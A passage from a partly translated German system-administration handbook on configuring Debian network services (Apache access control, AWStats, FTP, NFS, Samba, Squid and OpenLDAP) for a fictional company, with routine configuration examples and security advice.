Indexes weist den Server an, den Inhalt eines Verzeichnisses aufzulisten, falls die von einem Client gesendete HTTP-Anforderung auf ein Verzeichnis ohne Indexdatei weist (das heißt, wenn es in diesem Verzeichnis keine der von der Anweisung DirectoryIndex genannten Dateien gibt).

MultiViews aktiviert die Inhaltsabstimmung; diese kann vom Server dazu verwendet werden, eine Webseite in der im Browser eingestellten bevorzugten Sprache anzuzeigen.

ZURÜCK ZU DEN GRUNDLAGEN Die Datei .htaccess

Die Datei .htaccess enthält Apache-Konfigurationsanweisungen, die jedes Mal ausgeführt werden, wenn eine Anforderung ein Element des Verzeichnisses betrifft, in dem diese Datei gespeichert ist. Der Geltungsbereich dieser Anweisungen erstreckt sich auch auf alle darunter befindlichen Unterverzeichnisse.

Die meisten Anweisungen, die in einem Directory-Block auftreten können, gelten auch in einer .htaccess-Datei.

Die Anweisung AllowOverride führt alle Optionen auf, die mithilfe einer .htaccess-Datei aktiviert oder deaktiviert werden können. Eine verbreitete Anwendung dieser Option besteht darin, ExecCGI einzuschränken, so dass der Administrator entscheidet, welchen Benutzern es erlaubt ist, Programme unter der Identität des Web-Servers (des Benutzers www-data) auszuführen.

11.2.4.1. Authentifizierung verlangen

In some circumstances, access to part of a website needs to be restricted, so only legitimate users who provide a username and a password are granted access to the contents. These feature are provided by the mod_auth* modules.

Beispiel 11.16. Authentifizierung für die Datei .htaccess verlangen

Require valid-user AuthName "Private directory" AuthType Basic AuthUserFile /etc/apache2/authfiles/htpasswd-private

SICHERHEIT Keine Sicherheit

Das in oben stehendem Beispiel verwendete Authentifizierungssystem (Basic) bietet nur geringfügige Sicherheit, da das Passwort als Klartext gesendet wird (es ist nur als base64 kodiert, die eine einfache Kodierungs- aber keine Verschlüsselungsmethode ist). Es sollte auch beachtet werden, dass die mit diesem Verfahren „geschützten“ Dokumente ebenfalls als Klartext über das Netzwerk laufen. Falls Sicherheit wichtig ist, sollte die gesamte HTTP-Verbindung mit SSL verschlüsselt sein.

Die Datei /etc/apache2/authfiles/htpasswd-private enthält eine Liste von Benutzern und Passwörtern; sie wird normalerweise mit dem Befehl htpasswd gehandhabt. Der folgende Befehl wird zum Beispiel dazu benutzt, einen Benutzer hinzuzufügen oder sein Passwort zu ändern:

# htpasswd /etc/apache2/authfiles/htpasswd-private user New password: Re-type new password: Adding password for user user

11.2.4.2. Zugang beschränken

Die Direktive Require steuert Zugriffsbeschränkungen für Verzeichnisse (und rekursiv, deren Unterverzeichnisse).

→ https://httpd.apache.org/docs/2.4/howto/access.html

Es kann eingesetzt werden, um den Zugriff auf der Grundlage vieler Kriterien zu beschränken. Wir werden uns darauf beschränken, die Zugriffsbeschränkung auf der Grundlage der IP-Adresse des Clients zu beschreiben, aber es kann viel mächtiger gemacht werden, besonders wenn mehrere Require Direktiven in einem RequireAll-Block kombiniert werden.

Beispiel 11.17. Nur aus dem lokalen Netzwerk zulassen

Require ip 192.168.0.0/16

ALTERNATIVE Alte Syntax

Die Syntax Require ist nur in Apache 2.4 verfügbar (die Version, die seit Jessie geliefert wird). Für Benutzer von Wheezy ist die Syntax des Apache 2.2 anders und wir beschreiben sie hier hauptsächlich als Referenz, obwohl sie auch in Apache 2.4 durch das Modul mod_access_compat verfügbar ist.

Die Direktiven Allow from und Deny from steuern Zugriffsbeschränkungen für Verzeichnisse (und, rekursiv, deren Unterverzeichnisse).

Die Anweisung Order informiert den Server über die Reihenfolge, in der die Anweisungen Allow from und Deny from angewendet werden; die zuletzt zutreffende erhält Vorrang. Konkret erlaubt Order deny,allow Zugang, falls kein Deny from gilt, oder falls eine Allow from Anweisung zutrifft. Umgekehrt verweigert Order allow,deny den Zugang, falls keine Allow from Anweisung zutrifft (oder falls eine Deny from Anweisung gilt).

Auf die Anweisungen Allow from und Deny from kann eine IP-Adresse folgen, ein Netzwerk (wie zum Beispiel 192.168.0.0/255.255.255.0, 192.168.0.0/24 oder sogar 192.168.0), ein Host- oder Domain-Name oder das Schlüsselwort all, das jeden bezeichnet.

Zum Beispiel, um Verbindungen standardmäßig abzulehnen, sie aber aus dem lokalen Netzwerk zuzulassen, können Sie folgendes verwenden:

Order deny,allow Allow from 192.168.0.0/16 Deny from all

11.2.5. Protokoll-Analysatoren

Häufig wird ein Protokoll-Analysator auf einem Web-Server installiert, da er den Administratoren ein genaues Bild der Einsatzmuster des Servers vermittelt.

Die Falcot Corp. Administratoren haben AWStats (Advanced Web Statistics) für die Analyse ihrer Apache-Protokolldateien ausgewählt.

Der erste Konfigurierungsschritt besteht darin, die Datei /etc/awstats/awstats.conf anzupassen. Die Falcot Administratoren lassen sie bis auf die folgenden Parameter unverändert:

LogFile="/var/log/apache2/access.log" LogFormat = "%virtualname %host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot" SiteDomain="www.falcot.com" HostAliases="falcot.com REGEX[^.*\.falcot\.com$]" DNSLookup=1 LoadPlugin="tooltips"

All diese Parameter sind durch Kommentare in der Vorlagendatei dokumentiert. Insbesondere bezeichnen die Parameter LogFile und LogFormat den Ort und das Format der Protokolldatei sowie die Information, die sie enthält; SiteDomain und HostAliases führen die verschiedenen Bezeichnungen auf, unter denen die Haupt-Website bekannt ist.

Für Internet-Präsenzen mit starkem Datenverkehr sollte DNSLookup normalerweise nicht auf 1 gesetzt werden; für kleinere, wie die oben beschriebene Falcot-Site, ermöglicht diese Einstellung jedoch besser lesbare Berichte, die vollständige Rechnernamen enthalten statt unverarbeiteter IP-Adressen.

SICHERHEIT Zugang zu Statistiken

AWStats stellt seine Statistiken auf der Website standardmäßig ohne Beschränkungen zur Verfügung, jedoch können Beschränkungen eingerichtet werden, so dass nur einige (wohl interne) IP-Adressen auf sie zugreifen können; die Liste der zugelassenen IP-Adressen muss in dem Parameter AllowAccessFromWebToFollowingIPAddresses festgelegt werden

AWStats wird auch für andere virtuelle Hosts aktiviert; jeder virtuelle Host benötigt seine eigene Konfigurationsdatei, wie zum Beispiel /etc/awstats/awstats.www.falcot.org.conf.

Beispiel 11.18. AWStats-Konfigurationsdatei für einen virtuellen Host

Include "/etc/awstats/awstats.conf" SiteDomain="www.falcot.org" HostAliases="falcot.org"

AWStats uses many icons stored in the /usr/share/awstats/icon/ directory. In order for these icons to be available on the web site, the Apache configuration needs to be adapted to include the following directive (check out /usr/share/doc/awstats/examples/apache.conf for a more detailed example):

Alias /awstats-icon/ /usr/share/awstats/icon/

Einige Minuten später (und nachdem das Skript einige Male gelaufen ist) stehen die Ergebnisse online zur Verfügung:

→ http://www.falcot.com/cgi-bin/awstats.pl

→ http://www.falcot.org/cgi-bin/awstats.pl

VORSICHT Rotation von Protokolldateien

In order for the statistics to take all the logs into account, AWStats needs to be run right before the Apache log files are rotated. Looking at the prerotate directive of /etc/logrotate.d/apache2 file, this is solved by the awstats package by putting a script in /etc/logrotate.d/httpd-prerotate running /usr/share/awstats/tools/update.sh.

Note also that the log files created by logrotate need to be readable by everyone, especially AWStats. This is ensured by changing /etc/logrotate.d/apache2 to include create 644 root adm (instead of the default 640 permissions) for example. But please refer to /usr/share/doc/awstats/README.Debian.gz for a more extensive documentation about this topic and alternatives.

11.3. FTP-Dateiserver

FTP (File Transfer Protocol) ist eines der ersten Internet-Protokolle (RFC 959 ist 1985 veröffentlicht worden!). Es wurde zur Verteilung von Dateien benutzt, sogar schon bevor das Web geboren war (das HTTP-Protokoll wurde 1990 entwickelt und formal in seiner 1.0 Version durch RFC 1945 festgelegt, die 1996 veröffentlicht worden ist).

This protocol allows both file uploads and file downloads; for this reason, it is still widely used to deploy updates to a website hosted by one's Internet service provider (or any other entity hosting websites). In these cases, access is enforced with a user identifier and password; on successful authentication, the FTP server grants read-write access to that user's home directory.

SECURITY FTP, FTPS, and SFTP

FTP is not a secure protocol. User names, passwords, and data are transported in clear text. To increase the security, one can use FTP via implicit (enforced) or explicit (requested) SSL/TLS, also known as FTPS, but not to be confused with SFTP, the SSH File Transfer Protocol, an alternative file transfer implementation using SSH. Many FTP server packages in Debian support FTPS.

Andere FTP-Server dienen in erster Linie dazu, Dateien zum öffentlichen Download zu verbreiten; Debian-Pakete sind hierfür ein gutes Beispiel. Der Inhalt dieser Server wird von anderen, geografisch entfernten Servern bezogen; er wird dann weniger entfernten Benutzern zur Verfügung gestellt. Dies bedeutet, dass Client-Authentifizierung nicht erforderlich ist; daher wird diese Betriebsart als „anonymes FTP“ bezeichnet. Um ganz genau zu sein, authentifizieren sich die Clients mit dem Benutzernamen anonymous; das Passwort ist dabei üblicherweise die E-Mail-Adresse des Benutzers, aber der Server ignoriert sie.

Many FTP servers are available in Debian (ftpd(-ssl), proftpd-basic, pure-ftpd and so on), which all provide the virtual ftp-server package. Please note that the pyftpd package, however, has been removed from the Debian project due to not being actively maintained anymore and being incompatible with Python 3. The Falcot Corp administrators picked vsftpd because they only use the FTP server to distribute a few files (including a Debian package repository); since they don't need advanced features, they chose to focus on the security aspects.

Durch das Installieren des Pakets wird ein Systembenutzer namens ftp erstellt. Dieses Konto wird stets für anonyme FTP-Verbindungen verwendet, und sein Benutzerverzeichnis (/srv/ftp/) ist der Stamm des Verzeichnisbaums, der den Benutzern, die sich mit diesem Dienst verbinden, zur Verfügung gestellt wird. Die Standardkonfiguration (in /etc/vsftpd.conf) erfordert einige Änderungen, um der einfachen Notwendigkeit gerecht zu werden, große Dateien für öffentliche Downloads zur Verfügung zu stellen: anonymer Zugriff muss aktiviert sein (anonymous_enable=YES) und Lesezugriff von lokalen Benutzern muss deaktiviert sein (local_enable=NO). Letzteres ist besonders wichtig, da das FTP-Protokoll keine Verschlüsselung verwendet und das Benutzerpasswort über die Leitung abgefangen werden kann.

FTP and FTPS resources can be accessed with a variety of clients, with and without a graphical user interface, and they can also be mounted locally using the curlftpfs command from the similarly named package.

11.4. NFS-Dateiserver

NFS (Network File System) ist ein Protokoll, das den Fernzugriff auf ein Dateisystem über ein Netzwerk ermöglicht. Alle Unix-Systeme sind in der Lage, mit diesem Protokoll umzugehen.

SONDERFALL Microsoft Windows- und NFS-Freigaben

Wenn es sich um ältere oder (sogenannte) "Home"-Varianten von Windows handelt, muss in der Regel Samba (Abschnitt 11.5, „Einrichten von Windows-Freigaben mit Samba“) anstelle von NFS verwendet werden. Moderne Windows Server und "Pro"- oder "Enterprise"-Desktop-Lösungen haben jedoch eine eingebaute Unterstützung für NFS. Nach der Installation der "Services for NFS"-Komponenten kann auf NFS-Freigaben zugegriffen und diese wie jede andere Netzwerkfreigabe temporär oder permanent eingebunden werden. Achten Sie auf mögliche Probleme mit der Zeichenkodierung von Dateinamen.

As an alternative Debian can be installed on Windows 10 Pro and higher. It requires the installation of the Windows Subsystem for Linux (WSL) component and the Debian app from the Windows store.

→ https://www.microsoft.com/en-us/p/debian/9msvkqc78pk6?

NFS ist ein sehr nützliches Werkzeug, hat aber in der Vergangenheit unter vielen Einschränkungen gelitten, von denen die meisten mit Version 4 des Protokolls gelöst wurden. Der Nachteil ist, dass die neueste Version von NFS schwieriger zu konfigurieren ist, wenn Sie grundlegende Sicherheitsfunktionen wie Authentifizierung und Verschlüsselung nutzen wollen, da sie dafür auf Kerberos basiert. Ohne diese muss das NFS-Protokoll auf ein vertrauenswürdiges lokales Netzwerk beschränkt werden, da Daten unverschlüsselt über das Netzwerk gehen (ein Sniffer kann es abfangen) und Zugriffsrechte basierend auf der IP-Adresse des Clients vergeben werden (die gefälscht werden kann).

DOKUMENTATION NFS-HOWTO

Eine gute Dokumentation für den Einrichtung von NFSv4 ist selten. Hier sind einige Quellen mit Inhalten unterschiedlicher Qualität, aber sie sollten zumindest Hinweise darauf geben, was man tun kann.

→ https://help.ubuntu.com/community/NFSv4Howto

→ https://wiki.linux-nfs.org/wiki/index.php/Nfsv4_configuration

11.4.1. NFS absichern

Wenn Sie die Kerberos-basierten Sicherheitsfunktionen nicht verwenden, ist es wichtig sicherzustellen, dass nur die Maschinen, die NFS verwenden dürfen, eine Verbindung zu den verschiedenen erforderlichen RPC-Servern herstellen können, da das Basisprotokoll den vom Netzwerk empfangenen Daten vertraut. Die Firewall muss außerdem IP spoofing blockieren, um so einen externen Rechner daran zu hindern, sich als interner auszugeben, und der Zugang zu den passenden Ports muss auf die Rechner beschränkt bleiben, die Zugriff auf die NFS-Freigaben haben sollen.

ZURÜCK ZU DEN GRUNDLAGEN RPC

RPC (Remote Procedure Call) ist ein Unix-Standard für entfernte Dienste. NFS ist ein solcher Dienst.

RPC-Dienste tragen sich in einem als portmapper bekannten Verzeichnis ein. Ein Client, der eine NFS-Anfrage durchführen möchte, wendet sich zunächst an den portmapper (auf Port 111, entweder TCP oder UDP) und fragt nach dem NFS-Server; die Antwort nennt normalerweise Port 2049 (den Standardport für NFS). Nicht alle RPC-Dienste verwenden notwendigerweise einen festen Port.

Ältere Versionen des Protokolls erforderten andere RPC-Dienste, die dynamisch zugewiesene Ports verwendeten. Glücklicherweise werden bei NFS Version 4 nur Port 2049 (für NFS) und 111 (für den Portmapper) benötigt und sind somit einfach per Firewall zu sichern.

11.4.2. NFS-Server

Der NFS-Server ist Teil des Linux-Kernels; in den von Debian bereitgestellten Kerneln ist er als Kernel-Modul eingebaut. Falls der NFS-Server beim Hochfahren automatisch anlaufen soll, sollte das Paket nfs-kernel-server installiert werden; es enthält die entsprechenden Start-Skripten.

The NFS server configuration file(s), /etc/exports and /etc/exports.d/, lists the directories that are made available over the network (exported). For each NFS share, only the given list of machines is granted access. More fine-grained access control can be obtained with a few options. The syntax for this file is quite simple:

/freizugebendes/verzeichnis rechner1(option1,option2,...) rechner2(...) ...

Beachten Sie, dass bei NFSv4 alle exportierten Verzeichnisse Teil einer einzigen Hierarchie sein müssen und dass das Wurzelverzeichnis dieser Hierarchie exportiert und mit der Option fsid=0 oder fsid=root identifiziert werden muss.

Jeder Rechner kann entweder durch seinen DNS-Namen oder seine IP-Adresse bestimmt werden. Ganze Rechnergruppen können auch festgelegt werden, indem entweder eine Syntax wie *.falcot.com oder ein IP-Adressbereich wie 192.168.0.0/255.255.255.0 oder 192.168.0.0/24 verwendet wird.

Verzeichnisse werden in der Standardeinstellung (oder durch die Option ro) schreibgeschützt bereitgestellt. Die Option rw ermöglicht Schreibzugriff. NFS-Clients nehmen typischerweise über einen Port Verbindung auf, der Administratorrechte erfordert (mit anderen Worten, unterhalb von 1024); diese Einschränkung kann mit der Option insecure aufgehoben werden (die Option secure ist stillschweigend eingestellt, kann aber auch ausdrücklich angegeben werden, wenn dies der Deutlichkeit halber erforderlich ist).

Standardmäßig beantwortet der Server eine NFS-Anfrage nur dann, wenn der gegenwärtige Plattenzugriff beendet ist (Option sync); dies kann durch die Option async abgestellt werden. Asynchrones Schreiben erhöht die Leistung ein wenig, es verringert jedoch die Zuverlässigkeit, da die Gefahr eines Datenverlusts besteht, falls der Server zwischen der Annahmebestätigung des Schreibauftrags und dem tatsächlichen Schreibvorgang auf der Festplatte abstürzt. Da der voreingestellte Wert (im Vergleich zur früheren Einstellung von NFS) kürzlich geändert wurde, empfiehlt es sich, ihn ausdrücklich einzustellen.

Um einem NFS-Client keinen Root-Zugriff auf das Dateisystem zu geben, werden alle Anfragen, die von einem Root-Benutzer zu kommen scheinen, vom Server so angesehen, als kämen sie vom Benutzer nobody. Dieses Verhalten entspricht der Option root_squash und ist standardmäßig aktiviert. Die Option no_root_squash, die dieses Verhalten abstellt, ist gefährlich und sollte nur in überwachten Umgebungen eingesetzt werden. Wenn alle Benutzer auf den Benutzer nobody umgeleitet werden sollen, verwenden Sie all_squash. Die Optionen anonuid=uid und anongid=gid ermöglichen es, anstelle von UID/GID 65534 (was dem User nobody und der Gruppe nogroup entspricht) einen anderen fingierten Benutzer anzugeben.

Mit NFSv4 können Sie die Option sec hinzufügen, um die gewünschte Sicherheitsstufe anzugeben: sec=sys ist der Standard ohne spezielle Sicherheitsmerkmale, sec=krb5 aktiviert nur die Authentifizierung, sec=krb5i fügt Integritätsschutz hinzu, und sec=krb5p ist die umfassendste Stufe, die Datenschutz (mit Datenverschlüsselung) enthält. Damit dies funktioniert, benötigen Sie ein funktionierendes Kerberos-Setup (dieser Service wird in diesem Buch nicht behandelt).

Weitere Optionen stehen zur Verfügung; sie sind auf der Handbuchseite exports(5) dokumentiert.

VORSICHT Erste Installation

The file /etc/exports does not list any valid NFS shares on initial installation. Once either this file or any file in /etc/exports.d/ has been edited or added to contain valid entries, the NFS server must be restarted with either of the following commands:

# exportfs -ra

# systemctl start nfs-kernel-server

11.4.3. NFS-Client

As with other filesystems, integrating an NFS share into the system hierarchy requires mounting (and the nfs-common package). Since this filesystem has its peculiarities, a few adjustments were required in the syntax of the mount command and the /etc/fstab file.

Beispiel 11.19. Manuelles Einhängen mit dem Befehl mount

# mount -t nfs4 -o rw,nosuid arrakis.internal.falcot.com:/shared /srv/shared

Beispiel 11.20. NFS-Eintrag in der Datei /etc/fstab

arrakis.internal.falcot.com:/shared /srv/shared nfs4 rw,nosuid 0 0

Der oben dargestellte Eintrag hängt beim Hochfahren des Systems das NFS-Verzeichnis /shared/ des Servers arrakis in das lokale Verzeichnis /srv/shared/ ein. Schreibzugriff ist erwünscht (daher der Parameter rw). Die Option nosuid ist eine Schutzmaßnahme, die jegliches setuid- oder setgid-Bit von Programmen, die auf der Freigabe gespeichert sind, entfernt. Falls die NFS-Freigabe nur zum Speichern von Dokumenten dienen soll, ist noexec eine weitere empfehlenswerte Option, die das Ausführen von auf der Freigabe gespeicherten Programmen verhindert. Beachten Sie, dass auf dem Server das Verzeichnis shared unterhalb des NFSv4-Root-Exports liegt (zum Beispiel /export/shared), es ist kein Top-Level-Verzeichnis.

Die Handbuchseite nfs(5) beschreibt alle Optionen näher.

11.5. Einrichten von Windows-Freigaben mit Samba

Samba ist ein Satz von Programmen, die das SMB-Protokoll (auch als „CIFS“ bekannt) auf Linux handhaben. Dieses Protokoll wird von Windows für Netzwerk-Freigaben und Netzwerkdrucker benutzt.

Samba kann auch als Domänencontroller unter Windows agieren. Es ist ein hervorragendes Instrument, um die nahtlose Integration von Linux-Servern und Arbeitsplatzrechnern, die noch unter Windows laufen, zu gewährleisten.

11.5.1. Samba-Server

Das Paket samba enthält die beiden Hauptserver von Samba 4, smbd und nmbd.

DOKUMENTATION Weitere Schritte

The Samba server is extremely configurable and versatile, and can address a great many different use cases matching very different requirements and network architectures. This book only focuses on the use case where Samba is used as a standalone server, but it can also be an NT4 Domain Controller or a full Active Directory Domain Controller, or a simple member of an existing domain (which could be managed by a Windows server).

Das Paket samba enthält alle notwendigen Handbuchseiten und in /usr/share/doc/samba/examples/ eine Fülle kommentierter Beispieldateien. Wenn Sie auf der Suche nach einer umfassenderen Dokumentation sind, können Sie die Samba-Website besuchen.

→ https://www.samba.org/samba/docs/

HILFSPROGRAMM Mit einem Windows-Server authentifizieren

Winbind gibt Systemadministratoren die Möglichkeit, einen Windows-Server als Authentifizierungsserver zu verwenden. Winbind integriert sich auch sauber in PAM und NSS. Dies ermöglicht es, Linux-Rechner so einzurichten, dass alle Benutzer einer Windows-Domäne automatisch ein Konto erhalten.

Weitere Informationen finden Sie im Verzeichnis /usr/share/doc/libpam-winbind/examples/pam_winbind/ des libpam-winbind-Pakets.

11.5.1.1. Mit debconf konfigurieren

The package sets up a minimal configuration during the initial installation in /etc/samba/smb.conf by plainly copying /usr/share/samba/smb.conf. So you should really run dpkg-reconfigure samba-common to adapt it:

Die einzig benötigte Information bei der Erstinstallation ist der Name der Arbeitsgruppe, zu der der Samba-Server gehören soll (die Antwort in unserem Fall ist FALCOTNET).

Im Falle einer Paketaktualisierung (von der alten stabilen Debian-Version) oder wenn der SMB-Server bereits zur Verwendung eines WINS-Servers konfiguriert wurde (wins server), schlägt das Paket auch vor, den WINS-Server anhand der vom DHCP-Daemon gelieferten Informationen zu identifizieren. Die Administratoren von Falcot Corp haben diese Option abgelehnt, da sie beabsichtigen, den Samba-Server selbst als WINS-Server zu verwenden.

11.5.1.2. Von Hand konfigurieren

11.5.1.2.1. Änderungen in smb.conf

Aufgrund der Erfordernisse bei Falcot müssen weitere Optionen in der Konfigurationsdatei /etc/samba/smb.conf angepasst werden. Die folgenden Auszüge fassen die Änderungen zusammen, die im Abschnitt [global] vorgenommen wurden.

[...] [global] ## Browsing/Identification ### # Change this to the workgroup/NT-domain name your Samba server will part of workgroup = FALCOTNET [...] # Windows Internet Name Serving Support Section: # WINS Support - Tells the NMBD component of Samba to enable its WINS Server wins support = yes [...] ####### Authentication ####### # Server role. Defines in which mode Samba will operate. Possible # values are "standalone server", "member server", "classic primary # domain controller", "classic backup domain controller", "active # directory domain controller". # # Most people will want "standalone server" or "member server". # Running as "active directory domain controller" will require first # running "samba-tool domain provision" to wipe databases and create a # new domain. server role = standalone server obey pam restrictions = yes [...] # "security = user" is always a good idea. This will require a Unix account # in this server for every user accessing the server. security = user [...]

Indicates that Samba should act as a Netbios name server (WINS) for the local network. This option had been removed from the default configuration in Buster and must be added manually if desired.

Dies ist die Standardeinstellung dieses Parameters; da er jedoch für die Samba-Konfiguration wesentlich ist, wird empfohlen, ihn ausdrücklich einzutragen. Jeder Benutzer muss sich vor dem Zugriff auf eine Freigabe authentifizieren.

11.5.1.2.2. Benutzer hinzufügen

Jeder Samba-Benutzer benötigt ein Konto auf dem Server; als erstes müssen die Unix-Konten erstellt, dann die Benutzer in Sambas Datenbank eingetragen werden. Der Unix-Schritt verläuft wie üblich (zum Beispiel unter Verwendung von adduser).

Das Hinzufügen eines bestehenden Benutzers zur Samba-Datenbank erfolgt durch den Befehl smbpasswd -a benutzer; dieser Befehl fragt interaktiv nach dem Passwort.

Ein Benutzer kann mit dem Befehl smbpasswd -x benutzer gelöscht werden. Auch ein Samba-Konto kann zeitweilig deaktiviert werden (mit smbpasswd -d benutzer) und später wieder reaktiviert (mit smbpasswd -e benutzer).

11.5.2. Samba-Client

Die Client-Merkmale in Samba ermöglichen es einem Linux-Rechner, auf Windows-Freigaben und freigegebene Rechner zuzugreifen. Die hierfür benötigten Programme befinden sich in den Paketen cifs-utils und smbclient.

11.5.2.1. Das Programm smbclient

Das Programm smbclient stellt Anfragen an SMB-Server. Es nimmt die Option -U benutzer entgegen, um sich mit dem Server unter einer bestimmten Identität zu verbinden. smbclient //server/freigabe greift interaktiv auf die Freigabe zu, in ähnlicher Weise wie der FTP-Client auf der Befehlszeile. smbclient -L server listet alle auf einem Server verfügbaren (und sichtbaren) Freigaben auf.

11.5.2.2. Windows-Freigaben einhängen

Der Befehl mount ermöglicht es (mithilfe von mount.cifs aus dem Paket cifs-utils), eine Windows-Freigabe in die Linux-Dateisystemhierarchie einzuhängen.

Beispiel 11.21. Eine Windows-Freigabe einhängen

mount -t cifs //arrakis/shared /shared \ -o credentials=/etc/smb-credentials

Die Datei /etc/smb-credentials (die nicht von Benutzern lesbar sein darf) hat das folgende Format:

username = benutzer password = passwort

Weitere Optionen können auf der Befehlszeile angegeben werden; sie sind auf der Handbuchseite mount.cifs(1) vollständig aufgelistet. Insbesondere zwei Optionen können interessant sein: uid und gid ermöglichen es, den Benutzer und die Gruppe der am Einhängepunkt verfügbaren Dateien einzustellen, um den Zugriff nicht auf den Administrator zu begrenzen.

EIn Einhängen einer Windows-Freigabe kann auch in /etc/fstab konfiguriert werden:

//server/shared /shared cifs credentials=/etc/smb-credentials

Unmounting an SMB/CIFS share is done with the standard umount command.

11.5.2.3. Auf einem Netzwerkdrucker drucken

CUPS ist eine elegante Lösung, um von einem Linux-Arbeitsplatzrechner aus auf einem von einem Windows-Rechner freigegebenen Drucker zu drucken. Wenn das Paket smbclient installiert wurde, ist es mit CUPS möglich, freigegebene Windows-Rechner automatisch zu installieren.

Dies sind die erforderlichen Schritte:

Melden Sie sich an der Beniutzerschnittstelle von CUPS an: http://localhost:631/admin

Klicken Sie auf "Drucker hinzufügen".

Wählen Sie das Gerät Drucker, nehmen Sie „Windows-Printer via SAMBA“.

Geben Sie den URI für den Drucker ein, er sieht folgendermaßen aus:

smb://benutzer:passwort@server/drucker.

Geben Sie den Namen ein der den Drucker eindeutig bezeichnet. Dann fügen Sie die Beschreibung und den Aufstellort des Druckers hinzu. Das sind die Angaben, die den Endanwendern angezeigt werden, um den Drucker identifizieren zu können.

Geben Sie den Hersteller und das Modell des Druckers an oder stellen Sie direkt eine funktionierende Druckerbeschreibung (PPD, PostScript Printer Description) zur Verfügung.

Voilà, der Drucker ist einsatzbereit!

11.6. HTTP/FTP-Proxy

Ein HTTP/FTP-Proxy agiert als Vermittler bei HTTP- und FTP-Verbindungen. Er erfüllt zwei Rollen:

Zwischenspeichern: Kopien kürzlich heruntergeladener Dokumente werden lokal gespeichert, wodurch mehrfaches Herunterladen vermieden wird.

Filter-Server: falls die Benutzung des Proxy vorgeschrieben ist (und ausgehende Verbindungen gesperrt werden, wenn sie nicht über den Proxy laufen), kann der Proxy bestimmen, ob die Anfrage erlaubt wird oder nicht.

Falcot Corp. hat Squid als ihren Proxy-Server ausgewählt.

11.6.1. Installieren

The squid Debian package only contains the modular (caching) proxy. Turning it into a filtering server requires installing the additional squidguard package. In addition, squid-cgi provides a querying and administration interface for a Squid proxy.

Vor dem Installieren sollte sichergestellt werden, dass das System seinen eigenen vollständigen Namen feststellen kann: der Befehl hostname -f muss einen vollqualifizierten Namen (einschließlich einer Domain) ergeben. Anderenfalls sollte die Datei /etc/hosts so editiert werden, dass sie den vollständigen Namen des Systems (zum Beispiel arrakis.falcot.com) enthält. Der vollständige Rechnername sollte vom Netz-Administrator bestätigt werden, um mögliche Namenskonflikte zu vermeiden.

11.6.2. Einen Cache konfigurieren

Das Aktivieren der Zwischenspeicherung des Servers geschieht einfach dadurch, dass die Konfigurationsdatei /etc/squid/squid.conf editiert und es so Rechnern des lokalen Netzwerks ermöglicht wird, Anfragen durch den Proxy zu leiten. Das folgende Beispiel zeigt die von den Falcot Corp. Administratoren vorgenommenen Veränderungen:

Beispiel 11.22. Die Datei /etc/squid/squid.conf (Auszüge)

# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS # include /etc/squid/conf.d/* # Example rule allowing access from your local networks. # Adapt localnet in the ACL section to list your (internal) IP networks # from where browsing should be allowed acl our_networks src 192.168.1.0/24 192.168.2.0/24 http_access allow our_networks http_access allow localhost # And finally deny all other access to this proxy http_access deny all

11.6.3. Einen Filter konfigurieren

squid selbst führt die Filterung nicht durch; dieser Arbeitsgang wird an squidGuard delegiert. Ersteres muss dann so konfiguriert werden, dass es mit letzterem zusammenarbeitet. Hierzu wird folgende Anweisung zur Datei /etc/squid/squid.conf hinzugefügt:

url_rewrite_program /usr/bin/squidGuard -c /etc/squid/squidGuard.conf

The /usr/lib/cgi-bin/squidGuard.cgi CGI program also needs to be installed, using /usr/share/doc/squidguard/examples/squidGuard.cgi as a starting point. Required modifications to this script are the $proxy and $proxymaster variables (the name of the proxy and the administrator's contact email, respectively). The $image and $redirect variables should point to existing images representing the rejection of a query.

The filter is enabled with the systemctl reload squid command. However, since the squidguard package does no filtering by default, it is the administrator's task to define the policy. This can be done by creating the /etc/squid/squidGuard.conf file (using /etc/squidguard/squidGuard.conf.default as template if required).

Die aktive Datenbank muss nach jeder Änderung der Konfigurationsdatei squidGuard (oder einer der Domain- beziehungsweise URL-Listen, die sich auf sie beziehen) mit dem Befehl update-squidguard aktualisiert werden. Die Syntax der Konfigurationsdatei ist auf der folgenden Website dokumentiert:

→ http://www.squidguard.org/Doc/configure.html

ALTERNATIVE E2guardian (ein Fork von DansGuardian)

The e2guardian package, a DansGuardian fork, is an alternative to squidguard. This software does not simply handle a blacklist of forbidden URLs, it can also take advantage of content and anti-virus scanning and it provides broad authentication support.

11.7. LDAP-Verzeichnis

OpenLDAP ist eine Umsetzung des LDAP-Protokolls; mit anderen Worten, es ist eine Spezialdatenbank zum Speichern von Verzeichnissen. Im gebräuchlichsten Anwendungsfall macht die Verwendung eines LDAP-Servers es möglich, die Verwaltung von Benutzerkonten und der dazugehörigen Berechtigungen zusammenzufassen. Außerdem lässt sich eine LDAP-Datenbank leicht kopieren, wodurch die Einrichtung mehrerer synchronisierter LDAP-Server möglich wird. Wenn das Netzwerk und die Benutzerzahl schnell anwachsen, kann so die Arbeitslast auf mehrere Server verteilt werden.

LDAP-Daten sind strukturiert und hierarchisch. Die Struktur wird durch „Schemata“ festgelegt, die die Art der Objekte, die die Datenbank speichern kann, zusammen mit einer Liste all ihrer möglichen Attribute beschreiben. Die Syntax, die zum Verweis auf ein bestimmtes Objekt der Datenbank verwendet wird, basiert auf diesen Strukturen, wodurch sich ihre Komplexität erklärt.

11.7.1. Installieren

Das Paket slapd enthält den OpenLDAP-Server. Das Paket ldap-utils umfasst Befehlszeilen-Werkzeuge für die Zusammenarbeit mit LDAP-Servern.

Die Installation von slapd stellt normalerweise nur die Frage nach dem Administratorpasswort und es ist unwahrscheinlich, dass die resultierende Datenbank Ihren Bedürfnissen entspricht. Glücklicherweise können Sie mit einem einfachen dpkg-reconfigure slapd die LDAP-Datenbank mit mehr Details neu konfigurieren:

Konfigurierung des OpenLDAP-Servers auslassen? Natürlich nicht, wir wollen diesen Dienst konfigurieren.

DNS-Domain-Name: „falcot.com“.

Name der Organisation: „Falcot Corp.“.

Ein Verwaltungspasswort muss eingegeben werden.

Zu verwendendes Datenbank-Backend: „MDB“.

Möchten Sie, dass die Datenbank entfernt wird, wenn slapd gelöscht wird? Nein. Es wäre nicht sinnvoll, den Verlust der Datenbank im Falle eines Versehens zu riskieren.

